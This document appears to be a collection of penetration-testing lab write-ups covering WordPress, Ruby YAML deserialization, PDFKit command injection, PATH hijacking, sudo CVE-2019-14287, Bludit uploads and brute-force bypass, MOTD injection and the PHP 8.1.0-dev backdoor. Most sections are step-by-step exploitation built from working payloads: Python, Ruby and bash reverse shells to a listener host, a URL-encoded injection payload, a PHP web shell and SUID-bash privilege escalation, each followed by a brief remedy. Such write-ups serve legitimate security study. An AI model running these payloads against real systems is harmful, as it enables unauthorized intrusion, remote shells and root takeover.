    By running LinPEAS.sh, system administrators and security professionals can quickly identify potential security risks and take appropriate actions to mitigate them. It is a useful tool for both offensive security assessments and defensive security measures.

    It’s worth noting that LinPEAS.sh should only be used on systems that you have permission to test or analyze. Running it on unauthorized systems or without proper authorization may be illegal and violate the system owner’s privacy and security rights. Always ensure you have proper authorization and follow ethical guidelines when using such tools.

    How to use

    1. Download the Script (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)

    • curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > LinPEAS.sh

    2. Send the file into the server, prepare a web server for the transfer

    • python3 -m http.server 9999

    3. Download from the remote machine

    • wget http://10.10.14.8:9999/LinPEAS.sh

    4. Run the application

    • bash LinPEAS.sh

    Sources

    https://github.com/carlospolop/PEASS-ng/releases/tag/20220612

    https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

     

    (2019-17671)[information disclosure] WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts

    WordPress could allow a remote attacker to obtain sensitive information, caused by improper handling of the static query property. By sending a specially-crafted HTTP request, an attacker could exploit this vulnerability to view private and draft posts.

    Adding ?static=1 to a wordpress URL should leak its secret content.

    However, there are a few ways to manipulate the returned entries:

    • order with asc or desc
    • orderby
    • m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format

    In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static=1&order=asc will show the secret content. This issue also discloses password protected and private posts

    Affected Products

    WordPress WordPress 5.2.3

    Identify

    1. We can get information about wordpress version from the web page

    • curl -X GET http://office.paper

    2. You can run WPScan to identify the version

    • wpscan -e vp –url http://office.paper/

    3. Inspecting the source code you can find the wordpress version

    • view-source:http://office.paper/

    4. Searching around, I found an exploit for this particular version (https://www.exploit-db.com/exploits/47690)

    Exploitation

    1. So far we know that adding ?static=1 to a wordpress URL should leak its secret content.

    Nomal request

    • http://office.paper/

    After adding ?static=1

    • http://office.paper/?static=1

    Remedy

    Upgrade to the latest version of WordPress (5.2.4 or later), available from the WordPress Web site. See References.

    Sources

    https://exchange.xforce.ibmcloud.com/vulnerabilities/169497

    https://blog.wpscan.com/wordpress-5-2-4-security-release-breakdown/

    https://wpscan.com/vulnerability/9909

    https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671

    https://www.exploit-db.com/exploits/47690

     

    Get Website components version with Wappalyze

    Wappalyzer is a web browser extension and online service that allows users to identify the technologies used on websites they visit. It provides information about the software frameworks, content management systems (CMS), programming languages, analytics tools, and other technologies employed by a website.

    Here are some key features of Wappalyzer:

    • Technology Identification: Wappalyzer scans websites and analyzes various aspects to identify the technologies being utilized. It can detect CMS platforms like WordPress, Drupal, or Joomla, as well as frameworks like React, Angular, or Laravel.
    • Browser Extension: Wappalyzer is primarily available as a browser extension, supporting popular browsers such as Chrome, Firefox, and Edge. Once installed, the extension runs in the background and displays an icon or dropdown menu that reveals the technologies in use when visiting a website.
    • Detailed Reports: Wappalyzer provides detailed reports on the technologies found on a website. This includes information such as version numbers, JavaScript libraries, advertising networks, web servers, and more. The reports help users gain insights into the underlying infrastructure and tools employed by a website.
    • Online Service: In addition to the browser extension, Wappalyzer offers an online service where users can enter a website URL manually to get technology information. This service is helpful for situations where the browser extension is not installed or available.
    • Open Source: Wappalyzer is an open-source project, and its codebase is publicly available. This transparency allows for community contributions, improvements, and the development of custom integrations.

    Wappalyzer is widely used by web developers, security professionals, marketers, and researchers to gather information about the technologies implemented on websites. It helps users understand the technological landscape of a site, which can be valuable for tasks such as competitor analysis, vulnerability assessments, or optimizing web development processes.

    Please note that Wappalyzer relies on various detection techniques, including pattern matching, script analysis, and HTTP headers. While it is generally accurate, it may occasionally provide false positives or miss certain technologies due to factors like dynamic content loading or customized implementations.

    Install & Use

    1. Visit https://www.wappalyzer.com/apps/ to download the the extension according to the Browser

    2. After selecting the browser type, in my case FireFox, I get redirected to (https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)

    3. Install the plug in, and visit the website you want to scan

    4. Run the plug in, by clicking the icon the browser

    5. The plug in will show us the technologies used, also, some versions

     

    Ruby – Insecure Deserialization – YAML (Privilege Escalation – Code Execution)

    Understanding Insecure Deserialization

    Deserialization is the process of transforming serialized data, such as YAML or JSON, back into its original form. Insecure deserialization occurs when untrusted data is deserialized without proper validation, leading to potential security risks. Attackers can exploit this vulnerability to execute arbitrary code, bypass authentication, or perform other malicious activities.

    YAML in Ruby:

    Ruby, a popular programming language known for its simplicity and flexibility, provides built-in support for YAML parsing. YAML (YAML Ain’t Markup Language) is a human-readable data serialization format commonly used for configuration files and data exchange. However, YAML’s ease of use can inadvertently introduce security vulnerabilities if not handled correctly.

    Risks of Insecure Deserialization:

    Insecure deserialization in Ruby’s YAML parser can have severe consequences. Attackers may manipulate serialized data to exploit vulnerable code paths, leading to remote code execution or denial of service attacks. It’s crucial to understand the potential risks and adopt preventive measures.

    The pre-requisites are as follows:

    1. The ActiveSupport gem must be installed and loaded.
    2. ERB from the standard library must be loaded (which Ruby does not load by default).
    3. After deserialization, a method that does not exist must be called on the deserialized object.

    While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

    Yaml.load

    Vulnerable code

    Universal gadget for ruby <= 2.7.2:

    Universal gadget for ruby 2.x – 3.x.

    Yaml.load(File_read())

    Identification

    1. In this case we have an application that reads/runs “dependencies.yml”, it uses Yaml.load(File_read()) to load the file. This Ruby script was found to run as sudo without password, it also doesn’t specify the specify path for the file

    • sudo -l

    2. If we read the file “update_dependencies.rb”, we will find yaml.load in the script, and it uses the function File_read()

    • cat /opt/update_dependencies.rb

    3. Verify the ruby version

    • ruby -v

    3. Now, its time to read “dependencies.yml

    • cat dependencies.yml

    Exploitation

    1. Now that we know the version of ruby we can apply the right syntax (Universal gadget for ruby 2.x – 3.x) in our case as ruby version is 2.7.4, we will create a file in /tmp , name it as “dependencies.yml”, and inject the Linux command “id”

    • cd /tmp
    • vi dependencies.yml
    • cat dependencies.yml

    2. Run the command, we’ll notice the output of the “id” Linux command

    • sudo /usr/bin/ruby /opt/update_dependencies.rb

    3. Knowing we can execute commands, we can try to elevate our privileges, in this case I will start a listener in my local machine, and run a ruby reverse shell to communicate on port 5555

    Listener local machine

    • nc -lvp 5555

    YAML payload in the remote machine

    • vi dependencies.yml
    • cat dependencies.yml
    • ADD: git_set: ruby -rsocket -e’spawn(“sh”,[:in,:out,:err]=>TCPSocket.new(“10.10.14.8”,5555))’

    4. Check the listener, you should have a reverse shell with privilege rights

    Best Practices to Mitigate Insecure Deserialization:

    To mitigate insecure deserialization vulnerabilities in Ruby YAML, developers should follow these best practices:

    a. Validate Input: Implement strict input validation to ensure that only trusted data is deserialized.

    b. Use Safe Loading: Enable safe loading mode during YAML parsing to restrict object creation to basic types, reducing the risk of code execution.

    c. Employ Whitelisting: Restrict allowed classes during deserialization to prevent the creation of potentially dangerous objects.

    d. Sanitize User Input: Treat user input as untrusted and sanitize it thoroughly before deserialization.

    e. Regular Updates: Keep the Ruby interpreter, YAML library, and dependencies up to date to benefit from security patches and bug fixes.

    Sources

    https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

    https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf

    https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ruby-privilege-escalation/

    Portswigger – Insecure Deserialization

    https://www.elttam.com/blog/ruby-deserialization/

    http://phrack.org/issues/69/12.html

    https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/

     

    Ruby PDFKit command execution – (RCE) – CVE-2022-25765

    PDFKit could allow a remote attacker to execute arbitrary commands on the system, caused by improper URL validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.

    Affected Products

    PDFKit PDFKit 0.8.6

    PoC:

    An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:

    • PDFKit.new(“http://example.com/?name=#{params[:name]}”).to_pdf

    If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:

    • irb(main):060:0> puts PDFKit.new(“http://example.com/?name=#{‘%20`sleep 5`’}”).command wkhtmltopdf –quiet […] “http://example.com/?name=%20`sleep 5`” – => nil

    Calling to_pdf on the instance shows that the sleep command is indeed executing:

    • PDFKit.new(“http://example.com/?name=#{‘%20`sleep 5`’}”).to_pdf # 5 seconds wait…

    Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with “http”:

    • PDFKit.new(“http%20`sleep 5`”).to_pdf

    Identification

    In this particular case, we have a web application that uses PDFKit PDFKit 0.8.6, to create a pdf file from user provided input.

    1. First thing we should do is to identify the behavior of the application, so we enter input to generate the PDF

    2. Also, capturing this request in Burpsuite, we can see that the application is running Ruby (X-Runtime: Ruby)

    3. Now, we download and inspect the PDF file, looking for file info, using exiftool

    • exiftool uqjt61nr2irybs0v7t9qajtshcbvx1oj.pdf

    Note: Here we can see the output of exiftool which indicates “Generated by pdfkit v0.8.6”

    Exploitation

    1. Knowing the file was generated with Ruby using the module pdfkit (version 0.8.6). We can start to test, this application against command injection, first of all, grab the request to create the PDF in Burlsuite, and, send it to Repeater.

    2. We run the request normally

    3. Now, try the basic test, http://%20`sleep 10`, the application should take longer to respond, as it ran sleep, you can also use the URL encoded, in my case only URL encoded worked

    • http://%20`sleep 10`
    • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%73%6c%65%65%70%20%31%30%60
    • As captured on the go: http%3A%2F%2F%2520%60sleep+10%60

    4. If the application hangs for 10 seconds, it means the command worked. Now we can try networking. So, in this case I will set a listener in my Kali machine using TCPdump “sudo tcpdump -i tun0 icmp”

    • http://%20`ping -c 3 10.10.14.8`
    • URL enconded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%69%6e%67%20%2d%63%20%33%20%31%30%2e%31%30%2e%31%34%2e%38%60

    5. Knowing ICMP was send from the target to our local machine we can proceed to try reverse shells. First of all start a listener in your local machine “nc -lvp 4444”, then send the request to the web server.

    • http://%20`python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.8”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’`
    • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%79%74%68%6f%6e%33%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%38%22%2c%34%34%34%34%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27%60

    Note: We got a connection back. The vulnerability has successfully been exploited

    Extra

    1. You may find user credentials in .bundle/config

    • cd /home/ruby/.bundle
    • cat config

    Remedy

    Upgrade pdfkit to version 0.8.7.2 or higher.

    Sources

    https://nvd.nist.gov/vuln/detail/CVE-2022-25765

    https://github.com/pdfkit/pdfkit

    https://github.com/pdfkit/pdfkit/blob/46cdf53ec540da1a1a2e4da979e3e5fe2f92a257/lib/pdfkit/pdfkit.rb%23L55-L58

    https://github.com/pdfkit/pdfkit/blob/master/lib/pdfkit/source.rb%23L44-L50

    https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

    https://github.com/pdfkit/pdfkit/blob/46cdf53ec540da1a1a2e4da979e3e5fe2f92a257/lib/pdfkit/pdfkit.rb#L55-L58

    https://github.com/rubysec/ruby-advisory-db/blob/master/gems/pdfkit/CVE-2022-25765.yml

    https://github.com/pdfkit/pdfkit/releases/tag/v0.8.7

    https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ESWB6SX7HYWQ54UGBGQOZ7G24O6RAOKD/

    https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JFB2BFKH5SUGRKXMY6PWRQNGKZML7GDT/

    https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/C36GAV3TKM3JXV6UVMLMTTDRCPKSNETQ/

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25765

    https://packetstormsecurity.com/files/171746

    (Privilege Escalation) Linux Path hijacking

    Linux path hijacking, also known as path traversal or privilege escalation, is a security vulnerability that occurs when an attacker manipulates the system’s search path to execute malicious code or gain elevated privileges. This type of attack typically targets vulnerable applications that do not properly validate user-supplied input when searching for files or executing commands.

    The $PATH environment variable plays a crucial role in Linux systems by defining a list of directories where the operating system searches for executable files. However, when applications fail to properly validate and sanitize user input when utilizing the $PATH variable, a vulnerability known as path hijacking or privilege escalation can arise.

    Path hijacking occurs when an attacker manipulates the $PATH variable to force the system to execute a malicious file instead of the intended command. By placing a directory under their control at the beginning of $PATH, the attacker ensures their files are discovered first during the search process.

    Here’s an explanation of the path hijacking process:

    1. Path Environment Variable: Linux systems have an environment variable called “PATH” that contains a list of directories in which the system searches for executable files. When a command is executed, the system looks for the corresponding executable file in these directories in the order specified by the PATH variable.
    2. Finding a Vulnerable Application: The attacker looks for a vulnerable application that performs file operations or executes commands without properly validating user-supplied input or controlling the search path. For example, an application that uses relative paths or does not sanitize user input.
    3. Identifying the Vulnerable Path: The attacker identifies a vulnerable point in the application where the input is used to construct a file path or command without proper validation. The goal is to find a way to manipulate the path used by the application to execute arbitrary files or commands.
    4. Crafting the Attack: The attacker provides input that includes special characters or sequences to manipulate the path. These characters or sequences are designed to bypass security checks and allow the attacker to traverse directories or execute arbitrary files.
    5. Exploiting the Vulnerability: By carefully constructing the input, the attacker can trick the vulnerable application into executing a malicious file or command. This can lead to various consequences, such as arbitrary code execution, unauthorized access, or privilege escalation.

    Example: Malicious Script Execution

    Let’s consider an application called “insecure_app” that executes a user-supplied script based on the value of $PATH. The code snippet below demonstrates this scenario:

    In this case, an attacker modifies their own $PATH variable:

    The attacker then creates a malicious script named “ls” in their “home/attacker” directory. Upon executing “insecure_app ls,” the malicious script is run instead of the legitimate “ls” command.

    Identification

    1. We found a file being that can be executed with sudo permissions

    • sudo -l

    2. Inspecting the file contents we see that it runs gzip to back up some files

    • cat /opt/scripts/access_backup.sh

    Exploitation

    1. Knowing we can execute this file with elevated permissions we proceed to play with its logic, first we will find out where is gzip located and if the location is included within $PATH environment variable

    • whereis gzip
    • echo $PATH

    2. We can now proceed to modify the $PATH environment variable to point to /tmp and save our new script named “gzip” there, this basic script will create a new empty file in /tmp, we want to verify that the permissions are root

    • export PATH=/tmp:$PATH
    • echo $PATH
    • echo -ne ‘#!/bin/bash\ntouch test.txt’ > gzip
    • chmod 777 gzip
    • sudo /opt/scripts/access_backup.sh

    3. We confirmed that the test.txt file was created with the privileges of root. We can now further exploit this vulnerability by copying /bin/bash, making it accessible to anyone, and run it

    • echo -ne ‘#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash’ > gzip
    • cat gzip
    • chmod 777 gzip
    • sudo /opt/scripts/access_backup.sh

    4. Now run this new bash that has SUID bit set to elevate privileges

    • ./bash -p
    • whoami

    Remedy

    To mitigate path hijacking vulnerabilities, several preventive measures should be taken:

    1. Validate and Sanitize User Input: Applications must carefully validate and sanitize any user-supplied input to prevent malicious manipulation of the $PATH variable.
    2. Absolute Paths: Avoid relying solely on the $PATH variable for command execution. Instead, use absolute paths to ensure the intended executable is executed.
    3. Least Privilege Principle: Limit the privileges of applications and users to minimize the potential impact of a successful path hijacking attack.
    4. Regular Updates: Keep the system and software up to date to benefit from security patches and fixes that address path hijacking vulnerabilities.

    Sources

    https://systemweakness.com/linux-privilege-escalation-using-path-variable-manipulation-64325ab05469

    https://medium.com/r3d-buck3t/hijacking-relative-paths-in-suid-programs-fed804694e6e

    https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

    https://book.hacktricks.xyz/linux-hardening/privilege-escalation

    Execution After Redirect (EAR)

    The web application sends a redirect to another location, but instead of exiting, it executes additional code. This weakness could affect the control flow of the application and allow execution of untrusted code.

    This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

    The PHP code checks if the user IP is allowed in $ipAllowList or not. If not, it will redirect them to the login page located at /login. But there’s no one telling the program to stop executing all the code after the redirect. So, all the code that should run only when a user has a valid session will also get executed. If we use a proxy tool such as BurpSuite or ZAP, we can modify the response of 302 Found redirect into a 200 OK response.

    Exploitation

    Consider a web application that has login functionality. Users who have an account can access content/features in this web application only by logging in. Unauthenticated users are redirected to the login page for them to first log in and get an authenticated session.

    • Send to repeater.
    • View response.

    1. I ran a directory discovery using dirsearch and noticed a lot of redirects

    2. I decided to access /accounts.php, and indeed got redirected to login.php

    3. I decided to capture the request/response using a proxy (BurpSuite), send the request to Repeater and resend it.

    Request

    Response

    Note: here we can see the HTTP code 302 redirection, in location we can see the redirection to login.php

    4. In the same response we can see the code of accounts.php, instead of login.php

    5. In order to bypass this in the browser, go to (Proxy – Proxy Settings – Match and replace rules), send traffic through the proxy

    • Type: Response header
    • Match: 30[12] Found #match either 301 or 302
    • Replace: 200 OK
    • Comment: VK9 redirection bypass
    • Check “Regex match”

    6. Now that the redirection rule has been set to bypass 301-302 HTTP code, visit the page we’re trying to access /accounts.php

     

    Remedy

    Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

    Sources

    https://cwe.mitre.org/data/definitions/698.html

    https://infosecwriteups.com/exploiting-execute-after-redirect-ear-vulnerability-in-htb-previse-92ea3f1dbf3d

    https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR)#:~:text=Execution%20After%20Redirect%20(EAR)%20is,complete%20compromise%20of%20the%20application.

    https://support.detectify.com/support/solutions/articles/48001048953-execution-after-redirect-ear-

    https://martellosecurity.com/kb/mitre/cwe/698/

    https://fireshellsecurity.team/execution-after-redirect/

     

    Sudo ALL keyword security bypass – Privilege Escalation – (CVE-2019-14287)

    Sudo could allow a local authenticated attacker to bypass security restrictions , caused by an issue with running commands with arbitrary user ID. By using the ALL keyword in a Runas specification, an attacker could exploit this vulnerability to bypass security restrictions and execute arbitrary command on the system with root privileges.

    Affected Products

    Sudo 1.8.27

    Detection

    1. Find the version of sudo

    • sudo –version

    2. Also, see the privileges on sudo (ALL, !root) is key

    • sudo -l

    Exploit

    1. Run this command to trick sudo and execute /bin/bash as root, you need to use the current user password to authenticate sudo

    • sudo -u#-1 /bin/bash

    Remedy

    Upgrade to the latest version of Sudo (1.8.28 or later), available from the Sudo Web site.

    Resources

    https://www.exploit-db.com/exploits/47502

    https://nvd.nist.gov/vuln/detail/CVE-2019-14287

    https://exchange.xforce.ibmcloud.com/vulnerabilities/168933

    https://seclists.org/oss-sec/2019/q4/18

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287

     

    Bludit 3.9.2 code execution – Path Traversal (Authenticated) (CVE-2019-16113)

    Bludit could allow a remote authenticated attacker to execute arbitrary code on the system, caused by improper validation of file types. By uploading a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system with privileges of the application.

    PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname.

    Affected Products

    Bludit Bludit 3.9.2

    Detect

    1. Being already authenticated as a log priviledge user, we can check the version of the platform by looking at the site source code page, in our case 3.9.2

    2. You can also use curl to get the page source code, then filter by version

    • curl http://10.10.10.191/admin

    Exploit

    1. Knowing this version is vulnerable to CVE-2019-16113, we can try to upload an image, in the main page click on content, or, visit http://10.10.10.191/admin/new-content

    2. Click on “Images”, choose the image and upload it

    3. Click on “Insert”, and then save the post

    3. Now try to locate the place where the image is located, you can search for the publication, right click the image and click on “Open Image”, it will take you to the location of the file, in this case:

    • http://10.10.10.191/bl-content/uploads/pages/1b9f41ad138ee8e237ba29b827e1048a/test-image.jpg

    4. Now that we know how to locate the file, we can try to upload php code, do the same steps (1-3), but this time upload a file that has code

    • vi exploit.php
    • <?php echo “Follow us.” ?>

    Note: we get a warning that only (gif, png, jpg, jpeg, svg) are permitted extensions. So, first we try to change the name of our file, second, we try to upload the file again.

    • mv exploit.php exploit.png

    5. Now you can try to right click on that empty square, then click on image, to find the location of the file

    6. If we try to view this image it will give us an error

    • http://10.10.10.191/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png

    7. Now using BurpSuite we will try to upload again, and play with the HTTP request

    8. We already know the path where the files are saved (/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png), so we can exploit the variable named “UUID”, to set the path were the file will be saved, we will send this request to BrupSuite Repeater

    • ../../tmp
    • (ALTERNATIVE) ../../uploads

    Note: this will, create the file and folder if necessary, in the response we need to have “Images Uploaded” with 200 OK Server response code

    9. Now locate the file within the specified directory

    • http://10.10.10.191/bl-content/tmp/

    10. Open the file, and the PHP code should be executed

    • http://10.10.10.191/bl-content/tmp/exploit.png

    11. Now using the same request in BurpSuite repeater we can modify the code to execute, in this case I will set a system variable to execute code, I will change the filename also to exploi2.png

    • <?php echo shell_exec($_GET[‘cmd’]); ?>

    12. Check the location again and find the new file

    • http://10.10.10.191/bl-content/tmp/

    13. Open the file, in the URL use the cmd variable to execute code, we will first try whoami command

    • http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=whoami

    14. Knowing we can now execute commands we can try to run a reverse shell, first start a listener in the local attacker machine

    • nc -lvp 4444

    15. Now use python to execute the reverse shell connection

    • http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.6”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

    16. Looking at the listener we should have a connection back

    Extra

    1. Having access to the server we can find users and passwords that can be used to further exploit, move your console to the root directory of the web application, in my case (/var/www/bludit-3.9.2)

    • cd /var/www/bludit-3.9.2
    • find . -name users.php 2> /dev/null

    2. We can read those files and look for user evidence

    • cat ./bl-content/databases/users.php

    Remedy

    See vendor documentation, and upgrade to a recent version.

    Resources

    https://www.exploit-db.com/exploits/47699

    https://www.exploit-db.com/exploits/47699

    https://packetstormsecurity.com/files/155295

    https://github.com/ynots0ups/CVE-2019-16113

    https://github.com/advisories/GHSA-ch69-hjrw-4hf3

    https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html

     

    Bludit 3.9.2 – Auth Bruteforce Bypass (CVE-2019-17240)

    Bludit could allow a remote attacker to bypass security restrictions, caused by a flaw in the bl-kernel/security.class.php. By using many different forged X-Forwarded-For or Client-IP HTTP headers, an attacker could exploit this vulnerability to bypass a brute-force protection mechanism.

    Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

    The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

    As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

    By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

    Affected versions

    Bludit 3.9.2

    Detect

    1. Access the Bludit main page

    2. Check the source code of the log in page, in the HTML header you can find the application version

    Exploit (Script 1)

    1. This script runs a list of passwords against a single user (you have to know the user.

    • git clone https://github.com/pingport80/CVE-2019-17240.git
    • cd CVE-2019-17240

    2. Run the script enter the username and locate the password file, you can also set the number of threads to use. Once the script finds a match it will stop automatically

    • python3 brute.py -u http://10.10.10.191/admin/ -user fergus -w ../wordlist.txt -t 20

    Remedy

    Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

    Resources

    https://github.com/bludit/bludit/pull/1090

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17240

    https://www.exploit-db.com/exploits/48746

    https://packetstormsecurity.com/files/158875

    https://rastating.github.io/bludit-brute-force-mitigation-bypass/

    https://github.com/pingport80/CVE-2019-17240

     

    MOTD – Privilege Escalation

    Having permissions to modify /etc/update-motd.d/00-header allows us to inject code and execute it at the time of a user logging in, the code will be executed by the SSH service owner, most likely root

    Identify

    1. Check the current permissions of the user

    • id

    2. Verify the folder and file permissions

    • ls -ld /etc/update-motd.d
    • ls -lR /etc/update-motd.d/

    As we can see our user is part of the sysadmin group which has RWX permissions.

    Exploitation

    1. Modify the file /etc/update-motd.d/00-header, probably add a reverse shell

    • echo ‘bash -c “bash -i >& /dev/tcp/10.10.14.6/4444 0>&1″‘ >> /etc/update-motd.d/00-header

    2. Start a listener in the attacker machine

    • nc -lvp 4444

    3. Log again

    • ssh sysadmin@10.10.10.181

    4. Check the listener and there should be a reverse shell

    Remedy

    Assign proper permissions to the files in /etc/update-motd.d

     

    Knive – Privilege Escalation

    knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server.

    This program can be abused, if improper permissions are given

    Detect

    1. Check user sudo permissions

    • sudo -l

    Exploit

    Shell

    It can be used to break out from restricted environments by spawning an interactive system shell.

    • knife exec -E ‘exec “/bin/sh”‘

    Sudo

    If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

    • sudo knife exec -E ‘exec “/bin/sh”‘
    • whoami

    Remedy

    Assign proper rights to users, by following general user management procedures

    PHP 8.1.0-dev Backdoor Remote Code Execution (RCE)

    PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

    The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.

    Identification

    1. One of the ways to identify if a website is using PHP 8.1.0-dev, is to make a query using Curl, and print out the headers by identifying the server response

    • curl –head http://10.10.10.242

    2. This can also be gotten from BurpSuite, in the server response

    Exploitation

    Script 1 (PHP 8.1.0-dev – ‘User-Agentt’ Remote Code Execution)

    1. This script automatically exploits user-agentt, and provides a shell (https://www.exploit-db.com/exploits/49933)

    • curl https://www.exploit-db.com/download/49933 -o exploit.py
    • ls -l exploit.py

    2. Run it against the vulnerable web site

    • python3 exploit.py
    • http://10.10.10.242/
    • whoami

    Script 2 (Reverse Shell)

    1. Download the script from (https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py)

    2. I named the file as exploit2.py

    • python3 exploit2.py -h

    3. Start a listener, in the attacker machine

    • nc -lvp 3333

    4. Run the command with the following data

    • python3 exploit2.py http://10.10.10.242/ 10.10.14.6 3333

    5. Check the listener, and there should be a connection back

    Remedy

    Upgrade to a newer version, visit the vendor information for more info

    Resources

    https://www.exploit-db.com/exploits/49933

    https://github.com/flast101/php-8.1.0-dev-backdoor-rce

    https://flast101.github.io/php-8.1.0-dev-backdoor-rce/